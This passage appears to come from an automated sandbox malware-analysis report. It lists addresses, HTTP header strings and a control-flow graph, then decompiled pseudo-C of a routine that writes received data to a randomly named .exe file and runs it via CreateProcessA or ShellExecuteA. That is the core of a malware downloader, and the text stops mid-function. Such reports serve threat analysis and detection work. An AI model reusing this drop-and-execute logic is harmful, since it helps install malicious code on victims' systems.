                                                          0x004020a5
                                                          0x004020a7
                                                          0x004022ea
                                                          0x004022ef
                                                          0x004022ef
                                                          0x004022f4
                                                          0x004022f5
                                                          0x004022f6
                                                          0x004022f7
                                                          0x004022f8
                                                          0x004022f9
                                                          0x004022fa
                                                          0x004022fb
                                                          0x004022fc
                                                          0x004022fd
                                                          0x004022fe
                                                          0x004022ff
                                                          0x00402300
                                                          0x00402303
                                                          0x00402304
                                                          0x00402306
                                                          0x00402309
                                                          0x00402310
                                                          0x00402312
                                                          0x00402315
                                                          0x0040231d
                                                          0x0040231d
                                                          0x00402324
                                                          0x00402329
                                                          0x00402330
                                                          0x004020ad
                                                          0x004020b2
                                                          0x004020b9
                                                          0x004020bb
                                                          0x004020be
                                                          0x004020c1
                                                          0x004020c5
                                                          0x004020c7
                                                          0x004020c9
                                                          0x004020ce
                                                          0x004020d5
                                                          0x004020da
                                                          0x004020dd
                                                          0x00000000
                                                          0x004020dd
                                                          0x004020a7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00401e4c
                                                          0x00401e3c
                                                          0x00401e25
                                                          0x00401cb6
                                                          0x00401ca9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00401aff
                                                          0x00401aef

                                                          APIs
                                                          • HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401A67
                                                          • HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401A8D
                                                            • Part of subcall function 004026B0: Concurrency::cancel_current_task.LIBCPMT ref: 004027E3
                                                          • HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401AB3
                                                          • HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401AD9
                                                          Strings
                                                          • Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401A6B
                                                          • pYhv, xrefs: 00402165, 00402238
                                                          • text, xrefs: 00401E0C
                                                          • Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401AB7
                                                          • Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 00401A91
                                                          • Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401A29
                                                          • GET, xrefs: 0040220D
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: HeadersHttpRequest$Concurrency::cancel_current_task
                                                          • String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$pYhv$text
                                                          • API String ID: 2146599340-343719610
                                                          • Opcode ID: fcad180c4c3fe079648477ce6e35f16694a51aef3eb89b63915f875012574e84
                                                          • Instruction ID: 621c8db50826d68fbf5915584c3f353caeca61d3b6748355fd6bd9a3799d1aaf
                                                          • Opcode Fuzzy Hash: fcad180c4c3fe079648477ce6e35f16694a51aef3eb89b63915f875012574e84
                                                          • Instruction Fuzzy Hash: EF316F31E00109EBEB15DFA9CC85FEEBBB9EB48714F60C02AE121761C0D779A544CBA4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 2752 10002450-10002514 call 10006436 call 100064b5 call 10004730 call 1000320d call 10004730 2763 10002516-1000251f call 10003224 2752->2763 2764 1000252a-10002539 call 100014f0 2752->2764 2763->2764 2769 100029b4 2764->2769 2770 1000253f-10002547 2764->2770 2773 100029b9-10002a01 call 10003224 * 3 CoUninitialize call 100031ff 2769->2773 2771 100029b0-100029b2 2770->2771 2772 1000254d-10002556 2770->2772 2771->2773 2772->2771 2774 1000255c-1000255f 2772->2774 2774->2771 2776 10002565-1000256a 2774->2776 2779 10002570-1000257e call 10001f90 2776->2779 2780 100029ab-100029ae 2776->2780 2786 10002972 2779->2786 2787 10002584-100025b9 call 10006494 call 10001eb0 call 10002bc0 2779->2787 2780->2773 2789 10002977-1000297e 2786->2789 2805 100025d9-100025f0 call 10002e00 2787->2805 2806 100025bb-100025c6 2787->2806 2789->2773 2792 10002980-1000298d 2789->2792 2795 1000299f-100029a9 call 10003216 2792->2795 2796 1000298f-1000299d 2792->2796 2795->2773 2796->2795 2798 10002a11-10002a16 call 1000633c 2796->2798 2810 100025f2-10002641 2805->2810 2807 100025c8 2806->2807 2808 100025ca-100025d7 2806->2808 2807->2808 2808->2810 2812 10002643-10002672 call 10005bc0 2810->2812 2813 10002674-1000268b call 10002e00 2810->2813 2818 1000268d-100026b0 2812->2818 2813->2818 2819 100026b2 2818->2819 2820 100026b4-100026b7 2818->2820 2819->2820 2821 100026d2-100026f5 2820->2821 2822 100026b9-100026cd 2820->2822 2824 100026f7-100026fc 2821->2824 2825 1000271e-10002720 2821->2825 2823 10002755-1000275f 2822->2823 2826 10002761-1000276c 2823->2826 2827 1000278c-10002793 2823->2827 2828 10002a02 call 10001de0 2824->2828 2829 10002702-1000270d call 10003229 2824->2829 2830 10002722-1000272d call 10003229 2825->2830 2831 1000272f 2825->2831 2833 10002782-10002789 call 10003216 2826->2833 2834 1000276e-1000277c 2826->2834 2837 100027c2-100027de 2827->2837 2838 10002795-100027a2 2827->2838 2843 10002a07 call 1000633c 2828->2843 2829->2843 2856 10002713-1000271c 2829->2856 2832 10002731-10002751 call 10005bc0 2830->2832 2831->2832 2832->2823 2833->2827 2834->2833 2834->2843 2840 100027e0-100027ed 2837->2840 2841 1000280d-10002823 2837->2841 2846 100027a4-100027b2 2838->2846 2847 100027b8-100027bf call 10003216 2838->2847 2849 10002803-1000280a call 10003216 2840->2849 2850 100027ef-100027fd 2840->2850 2852 10002825-1000282d 2841->2852 2853 1000287a-1000290a CreateProcessA 2841->2853 2862 10002a0c call 1000633c 2843->2862 2846->2843 2846->2847 2847->2837 2849->2841 2850->2843 2850->2849 2852->2853 2859 1000282f-1000284d CreateFileA 2852->2859 2860 10002913-1000292f ShellExecuteA 2853->2860 2861 1000290c-10002911 2853->2861 2856->2832 2859->2853 2865 1000284f-10002874 WriteFile CloseHandle 2859->2865 2866 10002935-1000293c 2860->2866 2861->2860 2861->2866 2862->2798 2865->2853 2868 1000296b-10002970 2866->2868 2869 1000293e-1000294b 2866->2869 2868->2789 2870 10002961-10002968 call 10003216 2869->2870 2871 1000294d-1000295b 2869->2871 2870->2868 2871->2862 2871->2870
                                                          C-Code - Quality: 61%
                                                          			E10002450(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8) {
                                                          				signed int _v4;
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				void* _v276;
                                                          				void* _v280;
                                                          				void* _v284;
                                                          				long _v288;
                                                          				intOrPtr _v292;
                                                          				void* _v296;
                                                          				void* _v300;
                                                          				intOrPtr _v304;
                                                          				signed int _v328;
                                                          				intOrPtr _v336;
                                                          				char _v340;
                                                          				void* _v416;
                                                          				intOrPtr _v432;
                                                          				void* _v436;
                                                          				struct _PROCESS_INFORMATION _v452;
                                                          				intOrPtr _v456;
                                                          				void* _v460;
                                                          				signed int* _v468;
                                                          				char _v472;
                                                          				void* _v476;
                                                          				void* _v484;
                                                          				void* _v488;
                                                          				long _v504;
                                                          				intOrPtr _v508;
                                                          				void* _v512;
                                                          				void* _v524;
                                                          				signed int _v532;
                                                          				void* _v536;
                                                          				void* _v540;
                                                          				char _v548;
                                                          				signed int _v552;
                                                          				signed int _v556;
                                                          				void* _v560;
                                                          				void* _v572;
                                                          				void* _v584;
                                                          				void* _v596;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t168;
                                                          				char _t174;
                                                          				void* _t177;
                                                          				void* _t183;
                                                          				signed int* _t185;
                                                          				signed int _t190;
                                                          				unsigned int _t217;
                                                          				void* _t218;
                                                          				signed int _t219;
                                                          				signed int _t225;
                                                          				signed int _t228;
                                                          				signed int _t230;
                                                          				void* _t231;
                                                          				signed int _t232;
                                                          				signed int _t233;
                                                          				char* _t235;
                                                          				void* _t241;
                                                          				signed int _t242;
                                                          				signed int _t243;
                                                          				long _t244;
                                                          				intOrPtr _t251;
                                                          				CHAR* _t253;
                                                          				void* _t260;
                                                          				intOrPtr _t269;
                                                          				signed int _t274;
                                                          				signed int _t278;
                                                          				signed int _t282;
                                                          				void* _t283;
                                                          				signed int _t285;
                                                          				char _t292;
                                                          				void* _t294;
                                                          				signed int _t295;
                                                          				void** _t297;
                                                          				signed int* _t307;
                                                          				signed int _t309;
                                                          				void* _t310;
                                                          				signed int _t315;
                                                          				signed int _t316;
                                                          				void* _t321;
                                                          				char* _t325;
                                                          				intOrPtr _t326;
                                                          				signed int _t332;
                                                          				signed int _t333;
                                                          				void* _t336;
                                                          				intOrPtr _t337;
                                                          				signed int _t338;
                                                          				void* _t339;
                                                          				signed int _t343;
                                                          				signed int _t348;
                                                          				intOrPtr _t349;
                                                          				void* _t350;
                                                          				void* _t351;
                                                          				void* _t352;
                                                          				void* _t353;
                                                          				char _t354;
                                                          				signed int _t356;
                                                          				void* _t357;
                                                          				signed int _t358;
                                                          				signed int _t360;
                                                          				char _t361;
                                                          				signed int _t364;
                                                          				signed int _t367;
                                                          				void* _t368;
                                                          				void* _t369;
                                                          				signed int* _t370;
                                                          				char* _t372;
                                                          				void* _t376;
                                                          				intOrPtr _t377;
                                                          				void* _t378;
                                                          				void* _t380;
                                                          				void* _t381;
                                                          				signed int _t382;
                                                          				signed int _t384;
                                                          				void* _t389;
                                                          				void* _t393;
                                                          				void* _t399;
                                                          
                                                          				_t399 = __eflags;
                                                          				_t341 = __edx;
                                                          				_t294 = __ebx;
                                                          				_t384 = (_t382 & 0xfffffff0) - 0x228;
                                                          				_t168 =  *0x10017004; // 0x615bd7ba
                                                          				_v8 = _t168 ^ _t384;
                                                          				_t367 = _a8;
                                                          				_push(__edi);
                                                          				_t356 = _a4;
                                                          				E100064B5(__ecx, E10006436(__ecx, __edx, 0));
                                                          				E10004730(_t356,  &_v340, 0, 0x148);
                                                          				_v328 = _t367;
                                                          				_v336 = 0x7a120;
                                                          				_push(0x7a120); // executed
                                                          				_t174 = E1000320D(__ebx, _t356, _t367, _t399); // executed
                                                          				_v340 = _t174;
                                                          				E10004730(_t356, _t174, 0, _v336);
                                                          				_t176 = _v296;
                                                          				_t389 = _t384 + 0x24;
                                                          				_v304 = 0xfde9;
                                                          				_v284 = 0;
                                                          				_v280 = 0;
                                                          				_v276 = 0;
                                                          				_v288 = 0;
                                                          				if(_v296 != 0) {
                                                          					E10003224(_t176);
                                                          					_t389 = _t389 + 4;
                                                          					_v296 = 0;
                                                          				}
                                                          				_push(_t356);
                                                          				_t177 = E100014F0( &_v340); // executed
                                                          				if(_t177 == 0) {
                                                          					_t368 = 0xfffffffd;
                                                          					goto L60;
                                                          				} else {
                                                          					if(_v296 == 0) {
                                                          						L58:
                                                          						_t368 = 0;
                                                          						goto L60;
                                                          					} else {
                                                          						_t183 = _v284;
                                                          						if(_t183 == 0 || _t183 <= 2) {
                                                          							goto L58;
                                                          						} else {
                                                          							if(_t183 <= 0xc00) {
                                                          								_t368 = _t367 | 0xffffffff;
                                                          								goto L60;
                                                          							} else {
                                                          								E10001F90( &_v472, _t356);
                                                          								_t406 = _v456;
                                                          								if(_v456 == 0) {
                                                          									_t368 = 0xfffffffe;
                                                          									goto L53;
                                                          								} else {
                                                          									_t233 = E10006494( &_v472, _t406);
                                                          									asm("cdq");
                                                          									_t235 = E10001EB0(_t389 + 0x24, _t233 % 7 + 5);
                                                          									_push(_t235);
                                                          									L98();
                                                          									_t325 = _t235;
                                                          									_t389 = _t389 + 4;
                                                          									_t356 =  *(_t325 + 0x14);
                                                          									_t376 =  *(_t325 + 0x10);
                                                          									if(_t356 - _t376 < 4) {
                                                          										_push(4);
                                                          										_v548 = 0;
                                                          										_t325 = E10002E00(_t294, _t325, _t356, _t376, 4, _v548, ".exe");
                                                          									} else {
                                                          										_t354 = _t325;
                                                          										 *(_t325 + 0x10) = _t376 + 4;
                                                          										if(_t356 >= 0x10) {
                                                          											_t354 =  *_t325;
                                                          										}
                                                          										_t292 = ".exe"; // 0x6578652e
                                                          										 *(_t354 + _t376) = _t292;
                                                          										 *((char*)(_t354 + _t376 + 4)) = 0;
                                                          									}
                                                          									asm("movups xmm1, [ecx]");
                                                          									asm("movq xmm0, [ecx+0x10]");
                                                          									asm("movq [esp+0x80], xmm0");
                                                          									 *(_t325 + 0x10) = 0;
                                                          									 *(_t325 + 0x14) = 0xf;
                                                          									 *_t325 = 0;
                                                          									_t377 = _v456;
                                                          									_t326 = _v432;
                                                          									asm("movd edi, xmm1");
                                                          									_push(_t326);
                                                          									asm("movaps [esp+0x74], xmm1");
                                                          									_t347 =  >=  ? _t356 :  &(_v452.hThread);
                                                          									_push( >=  ? _t356 :  &(_v452.hThread));
                                                          									if(_t326 > _v452.hProcess - _t377) {
                                                          										_v552 = 0;
                                                          										_push(_v552);
                                                          										_push(_t326);
                                                          										_t241 = E10002E00(_t294,  &_v472, _t356, _t377);
                                                          										_t356 =  *(_t389 + 0x70);
                                                          										_t368 = _t241;
                                                          									} else {
                                                          										_v456 = _t326 + _t377;
                                                          										_t288 =  >=  ? _v472 :  &_v472;
                                                          										_t378 = _t377 + ( >=  ? _v472 :  &_v472);
                                                          										_push(_t378);
                                                          										E10005BC0();
                                                          										_t389 = _t389 + 0xc;
                                                          										 *((char*)(_t378 + _v432)) = 0;
                                                          										_t368 =  &_v472;
                                                          									}
                                                          									 *(_t389 + 0x40) = 0;
                                                          									_v484 = 0;
                                                          									 *(_t389 + 0x54) = 0;
                                                          									_t242 =  *(_t368 + 0x10);
                                                          									_v556 = _t242;
                                                          									if( *((intOrPtr*)(_t368 + 0x14)) >= 0x10) {
                                                          										_t368 =  *_t368;
                                                          									}
                                                          									if(_t242 >= 0x10) {
                                                          										_t243 = _t242 | 0x0000000f;
                                                          										__eflags = _t243 - 0x7fffffff;
                                                          										_t244 =  >  ? 0x7fffffff : _t243;
                                                          										_v504 = _t244;
                                                          										_t332 =  ~(0 | _t243 - 0x7fffffff > 0x00000000) | _t244 + 0x00000001;
                                                          										__eflags = _t332 - 0x1000;
                                                          										if(_t332 < 0x1000) {
                                                          											__eflags = _t332;
                                                          											if(__eflags == 0) {
                                                          												_t333 = 0;
                                                          												__eflags = 0;
                                                          											} else {
                                                          												_push(_t332);
                                                          												_t282 = E10003229(_t294, _t356, _t368, __eflags);
                                                          												_t389 = _t389 + 4;
                                                          												_t333 = _t282;
                                                          											}
                                                          											goto L27;
                                                          										} else {
                                                          											_t66 = _t332 + 0x23; // 0x23
                                                          											_t283 = _t66;
                                                          											__eflags = _t283 - _t332;
                                                          											if(__eflags <= 0) {
                                                          												E10001DE0(_t294);
                                                          												goto L62;
                                                          											} else {
                                                          												_push(_t283);
                                                          												_t285 = E10003229(_t294, _t356, _t368, __eflags);
                                                          												_t389 = _t389 + 4;
                                                          												__eflags = _t285;
                                                          												if(__eflags == 0) {
                                                          													goto L62;
                                                          												} else {
                                                          													_t67 = _t285 + 0x23; // 0x23
                                                          													_t333 = _t67 & 0xffffffe0;
                                                          													 *(_t333 - 4) = _t285;
                                                          													L27:
                                                          													__eflags = _v556 + 1;
                                                          													 *(_t389 + 0x40) = _t333;
                                                          													E10005BC0(_t333, _t368, _v556 + 1);
                                                          													_t389 = _t389 + 0xc;
                                                          													_v484 = _v556;
                                                          													 *(_t389 + 0x54) = _v504;
                                                          													goto L28;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										asm("movups xmm0, [esi]");
                                                          										_v484 = _t242;
                                                          										 *(_t389 + 0x54) = 0xf;
                                                          										asm("movups [esp+0x40], xmm0");
                                                          										L28:
                                                          										_t251 = _v432;
                                                          										if(_t251 < 0x10) {
                                                          											L32:
                                                          											_t348 = _v532;
                                                          											if(_t348 < 0x10) {
                                                          												L36:
                                                          												_t349 = _v508;
                                                          												_v536 = 0;
                                                          												_v532 = 0xf;
                                                          												_v552 = 0;
                                                          												if(_t349 < 0x10) {
                                                          													L40:
                                                          													_t253 =  >=  ?  *(_t389 + 0x40) : _t389 + 0x40;
                                                          													if(_v300 != 0 && _v288 != 0) {
                                                          														_t368 = CreateFileA(_t253, 0x40000000, 1, 0, 2, 0x80, 0);
                                                          														if(_t368 != 0xffffffff) {
                                                          															_v504 = 0;
                                                          															WriteFile(_t368, _v300, _v288,  &_v504, 0);
                                                          															CloseHandle(_t368);
                                                          														}
                                                          													}
                                                          													 *(_t389 + 0x9c) = 0x44;
                                                          													asm("xorps xmm0, xmm0");
                                                          													_t255 =  >=  ?  *((void*)(_t389 + 0x58)) : _t389 + 0x58;
                                                          													asm("movlpd [esp+0xc4], xmm0");
                                                          													asm("movlpd [esp+0xcc], xmm0");
                                                          													asm("movlpd [esp+0xd4], xmm0");
                                                          													asm("movlpd [esp+0xdc], xmm0");
                                                          													asm("movlpd [esp+0xe4], xmm0");
                                                          													asm("movlpd [esp+0xec], xmm0");
                                                          													asm("movlpd [esp+0xf4], xmm0");
                                                          													asm("movlpd [esp+0xfc], xmm0");
                                                          													asm("movaps [esp+0x98], xmm0");
                                                          													if(CreateProcessA( >=  ?  *((void*)(_t389 + 0x58)) : _t389 + 0x58, 0, 0, 0, 0, 0, 0, 0, _t389 + 0x9c,  &_v452) == 0 ||  *((intOrPtr*)(_t389 + 0x78)) == 0xffffffff) {
                                                          														_t258 =  >=  ?  *((void*)(_t389 + 0x44)) : _t389 + 0x40;
                                                          														ShellExecuteA(0, "open",  >=  ?  *((void*)(_t389 + 0x44)) : _t389 + 0x40, 0, 0, 0xa);
                                                          													}
                                                          													_t350 =  *(_t389 + 0x54);
                                                          													if(_t350 < 0x10) {
                                                          														L51:
                                                          														_t368 = 1;
                                                          														L53:
                                                          														_t341 = _v452.hThread;
                                                          														if(_t341 < 0x10) {
                                                          															L60:
                                                          															E10003224(_v336); // executed
                                                          															E10003224(_v296); // executed
                                                          															E10003224(_v292);
                                                          															__imp__CoUninitialize();
                                                          															_pop(_t357);
                                                          															_pop(_t369);
                                                          															return E100031FF(_t368, _t294, _v4 ^ _t389 + 0xc, _t341, _t357, _t369);
                                                          														} else {
                                                          															_t307 = _v468;
                                                          															_t341 = _t341 + 1;
                                                          															_t185 = _t307;
                                                          															if(_t341 < 0x1000) {
                                                          																L56:
                                                          																_push(_t341);
                                                          																E10003216(_t307);
                                                          																_t389 = _t389 + 8;
                                                          																goto L60;
                                                          															} else {
                                                          																_t307 =  *(_t307 - 4);
                                                          																_t341 = _t341 + 0x23;
                                                          																if(_t185 - _t307 + 0xfffffffc > 0x1f) {
                                                          																	goto L64;
                                                          																} else {
                                                          																	goto L56;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t336 =  *(_t389 + 0x40);
                                                          														_t351 = _t350 + 1;
                                                          														_t260 = _t336;
                                                          														if(_t351 < 0x1000) {
                                                          															L50:
                                                          															_push(_t351);
                                                          															E10003216(_t336);
                                                          															_t389 = _t389 + 8;
                                                          															goto L51;
                                                          														} else {
                                                          															_t307 =  *(_t336 - 4);
                                                          															_t341 = _t351 + 0x23;
                                                          															if(_t260 - _t307 + 0xfffffffc > 0x1f) {
                                                          																goto L63;
                                                          															} else {
                                                          																goto L50;
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_t337 =  *((intOrPtr*)(_t389 + 0x24));
                                                          													_t352 = _t349 + 1;
                                                          													_t269 = _t337;
                                                          													if(_t352 < 0x1000) {
                                                          														L39:
                                                          														_push(_t352);
                                                          														E10003216(_t337);
                                                          														_t389 = _t389 + 8;
                                                          														goto L40;
                                                          													} else {
                                                          														_t307 =  *(_t337 - 4);
                                                          														_t341 = _t352 + 0x23;
                                                          														if(_t269 - _t307 + 0xfffffffc > 0x1f) {
                                                          															goto L62;
                                                          														} else {
                                                          															goto L39;
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_t338 = _v552;
                                                          												_t353 = _t348 + 1;
                                                          												_t274 = _t338;
                                                          												if(_t353 < 0x1000) {
                                                          													L35:
                                                          													_push(_t353);
                                                          													E10003216(_t338);
                                                          													_t389 = _t389 + 8;
                                                          													goto L36;
                                                          												} else {
                                                          													_t307 =  *(_t338 - 4);
                                                          													_t341 = _t353 + 0x23;
                                                          													if(_t274 - _t307 + 0xfffffffc > 0x1f) {
                                                          														goto L62;
                                                          													} else {
                                                          														goto L35;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t339 = _t251 + 1;
                                                          											_t278 = _t356;
                                                          											if(_t339 < 0x1000) {
                                                          												L31:
                                                          												_push(_t339);
                                                          												E10003216(_t356);
                                                          												_t389 = _t389 + 8;
                                                          												goto L32;
                                                          											} else {
                                                          												_t356 =  *(_t356 - 4);
                                                          												_t307 = _t339 + 0x23;
                                                          												if(_t278 - _t356 + 0xfffffffc > 0x1f) {
                                                          													L62:
                                                          													E1000633C(_t294, _t307, _t341, __eflags);
                                                          													L63:
                                                          													E1000633C(_t294, _t307, _t341, __eflags);
                                                          													L64:
                                                          													E1000633C(_t294, _t307, _t341, __eflags);
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													_t380 = _t389;
                                                          													_t393 = _t389 - 0xc;
                                                          													_push(_t368);
                                                          													_t370 = _t307;
                                                          													_push(_t356);
                                                          													_t358 = _v552;
                                                          													_t190 = _t370[4];
                                                          													 *(_t380 - 8) = _t190;
                                                          													__eflags = _t190 - _t358;
                                                          													if(_t190 > _t358) {
                                                          														L94:
                                                          														return _t190;
                                                          													} else {
                                                          														_push(_t294);
                                                          														_t295 = _t370[5];
                                                          														_v20 = _t295;
                                                          														__eflags = _t295 - _t358;
                                                          														if(__eflags == 0) {
                                                          															L93:
                                                          															goto L94;
                                                          														} else {
                                                          															if(__eflags >= 0) {
                                                          																__eflags = _t358 - 0x10;
                                                          																if(_t358 >= 0x10) {
                                                          																	goto L93;
                                                          																} else {
                                                          																	__eflags = _t295 - 0x10;
                                                          																	if(_t295 < 0x10) {
                                                          																		goto L93;
                                                          																	} else {
                                                          																		_t360 =  *_t370;
                                                          																		E10005BC0(_t370, _t360, _t190 + 1);
                                                          																		_t393 = _t393 + 0xc;
                                                          																		_t309 = _t370[5] + 1;
                                                          																		__eflags = _t309 - 0x1000;
                                                          																		if(_t309 < 0x1000) {
                                                          																			L92:
                                                          																			_push(_t309);
                                                          																			_t190 = E10003216(_t360);
                                                          																			_t370[5] = 0xf;
                                                          																			goto L93;
                                                          																		} else {
                                                          																			_t342 =  *(_t360 - 4);
                                                          																			_t309 = _t309 + 0x23;
                                                          																			_t358 = _t360 - _t342;
                                                          																			_t144 = _t358 - 4; // -3
                                                          																			__eflags = _t144 - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L95;
                                                          																			} else {
                                                          																				_t360 = _t342;
                                                          																				goto L92;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_t342 = 0x7fffffff;
                                                          																_t309 = _t358 - _t190;
                                                          																__eflags = 0x7fffffff - _v16 - _t309;
                                                          																if(0x7fffffff - _v16 < _t309) {
                                                          																	L96:
                                                          																	E10001CA0(_t309);
                                                          																	goto L97;
                                                          																} else {
                                                          																	_t315 = _t358 | 0x0000000f;
                                                          																	__eflags = _t315 - 0x7fffffff;
                                                          																	if(__eflags <= 0) {
                                                          																		_t217 = _t295 >> 1;
                                                          																		_t342 = 0x7fffffff - _t217;
                                                          																		__eflags = _t295 - 0x7fffffff - _t217;
                                                          																		if(__eflags <= 0) {
                                                          																			_t218 = _t217 + _t295;
                                                          																			__eflags = _t315 - _t218;
                                                          																			_t316 =  <  ? _t218 : _t315;
                                                          																			_v12 = _t316;
                                                          																			_t219 = _t316;
                                                          																		} else {
                                                          																			_t219 = 0x7fffffff;
                                                          																			_v12 = 0x7fffffff;
                                                          																		}
                                                          																	} else {
                                                          																		_t219 = 0x7fffffff;
                                                          																		_v12 = 0x7fffffff;
                                                          																	}
                                                          																	_t309 =  ~(0 | __eflags > 0x00000000) | _t219 + 0x00000001;
                                                          																	__eflags = _t309 - 0x1000;
                                                          																	if(_t309 < 0x1000) {
                                                          																		__eflags = _t309;
                                                          																		if(__eflags == 0) {
                                                          																			_t295 = 0;
                                                          																			__eflags = 0;
                                                          																		} else {
                                                          																			_push(_t309);
                                                          																			_t230 = E10003229(_t295, _t358, _t370, __eflags);
                                                          																			_t393 = _t393 + 4;
                                                          																			_t295 = _t230;
                                                          																		}
                                                          																		goto L81;
                                                          																	} else {
                                                          																		_t127 = _t309 + 0x23; // 0x23
                                                          																		_t231 = _t127;
                                                          																		__eflags = _t231 - _t309;
                                                          																		if(__eflags <= 0) {
                                                          																			L97:
                                                          																			E10001DE0(_t295);
                                                          																			asm("int3");
                                                          																			asm("int3");
                                                          																			asm("int3");
                                                          																			asm("int3");
                                                          																			asm("int3");
                                                          																			_push(_t380);
                                                          																			_t381 = _t393;
                                                          																			_push(_t309);
                                                          																			_push(_t295);
                                                          																			_push(_t370);
                                                          																			_t372 =  *((intOrPtr*)(_t381 + 8));
                                                          																			_t297 = _t309;
                                                          																			 *(_t381 - 4) = _t297;
                                                          																			_t343 =  *(_t372 + 0x14);
                                                          																			_t310 =  *(_t372 + 0x10);
                                                          																			__eflags = _t343 - _t310 - 1;
                                                          																			if(_t343 - _t310 < 1) {
                                                          																				_push(1);
                                                          																				_v4 = 0;
                                                          																				_push(_v4);
                                                          																				_push(1);
                                                          																				_t372 = E10002F60(_t297, _t372, _t358, _t372);
                                                          																			} else {
                                                          																				_t150 = _t310 + 1; // 0x1
                                                          																				 *(_t372 + 0x10) = _t150;
                                                          																				_push(_t358);
                                                          																				_t361 = _t372;
                                                          																				__eflags = _t343 - 0x10;
                                                          																				if(_t343 >= 0x10) {
                                                          																					_t361 =  *_t372;
                                                          																				}
                                                          																				__eflags = _t361 - 0x10014e71;
                                                          																				if(_t361 >= 0x10014e71) {
                                                          																					L106:
                                                          																					_v4 = 1;
                                                          																				} else {
                                                          																					__eflags = _t361 + _t310 - "\\";
                                                          																					if(_t361 + _t310 < "\\") {
                                                          																						goto L106;
                                                          																					} else {
                                                          																						__eflags = _t361 - "\\";
                                                          																						if(_t361 > "\\") {
                                                          																							_v4 = _t361 - "\\";
                                                          																						} else {
                                                          																							_v4 = 0;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																				_t156 = _t310 + 1; // 0x1
                                                          																				E10005BC0(_t361 + 1, _t361, _t156);
                                                          																				E10005BC0(_t361, "\\", _v4);
                                                          																				_t160 = _v4 + 0x10014e71; // 0x10014e72
                                                          																				E10005BC0(_t361 + _v4, _t160, 1 - _v4);
                                                          																			}
                                                          																			 *_t297 = 0;
                                                          																			_t297[4] = 0;
                                                          																			_t297[5] = 0;
                                                          																			asm("movups xmm0, [esi]");
                                                          																			asm("movups [ebx], xmm0");
                                                          																			asm("movq xmm0, [esi+0x10]");
                                                          																			asm("movq [ebx+0x10], xmm0");
                                                          																			 *(_t372 + 0x10) = 0;
                                                          																			 *(_t372 + 0x14) = 0xf;
                                                          																			 *_t372 = 0;
                                                          																			return _t297;
                                                          																		} else {
                                                          																			_push(_t231);
                                                          																			_t232 = E10003229(_t295, _t358, _t370, __eflags);
                                                          																			_t393 = _t393 + 4;
                                                          																			__eflags = _t232;
                                                          																			if(__eflags == 0) {
                                                          																				L95:
                                                          																				E1000633C(_t295, _t309, _t342, __eflags);
                                                          																				goto L96;
                                                          																			} else {
                                                          																				_t128 = _t232 + 0x23; // 0x23
                                                          																				_t295 = _t128 & 0xffffffe0;
                                                          																				 *(_t295 - 4) = _t232;
                                                          																				L81:
                                                          																				_t370[5] = _v12;
                                                          																				_t370[4] = _t358;
                                                          																				__eflags = _v20 - 0x10;
                                                          																				_push(_v16 + 1);
                                                          																				if(_v20 < 0x10) {
                                                          																					_push(_t370);
                                                          																					_push(_t295);
                                                          																					E10005BC0();
                                                          																					_t225 = _v16;
                                                          																					 *_t370 = _t295;
                                                          																					_t370[4] = _t225;
                                                          																					return _t225;
                                                          																				} else {
                                                          																					_t364 =  *_t370;
                                                          																					_push(_t364);
                                                          																					_push(_t295);
                                                          																					E10005BC0();
                                                          																					_t393 = _t393 + 0xc;
                                                          																					_t321 = _v20 + 1;
                                                          																					__eflags = _t321 - 0x1000;
                                                          																					if(_t321 < 0x1000) {
                                                          																						L85:
                                                          																						_push(_t321);
                                                          																						E10003216(_t364);
                                                          																						_t228 = _v16;
                                                          																						 *_t370 = _t295;
                                                          																						_t370[4] = _t228;
                                                          																						return _t228;
                                                          																					} else {
                                                          																						_t342 =  *(_t364 - 4);
                                                          																						_t309 = _t321 + 0x23;
                                                          																						_t358 = _t364 - _t342;
                                                          																						_t137 = _t358 - 4; // -3
                                                          																						__eflags = _t137 - 0x1f;
                                                          																						if(__eflags > 0) {
                                                          																							goto L95;
                                                          																						} else {
